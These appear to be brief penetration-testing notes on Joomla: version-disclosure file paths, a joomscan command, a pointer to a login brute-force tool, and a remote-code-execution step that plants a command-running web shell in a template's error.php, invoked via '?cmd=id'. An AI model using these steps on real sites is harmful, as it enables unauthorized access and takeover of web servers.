🌈Joomla

Check version

/administrator/manifests/files/joomla.xml
/language/en-GB/en-GB.xml

joomscan --ec -u <URL>

GitHub - ajnik/joomla-bruteforce: Joomla login bruteforceGitHub

Joomla! 3.8.8

RCE en Templates configuration

Templates configuration > template name > error.php
http://<site>/templates/<template-name>/error.php/error.php?cmd=id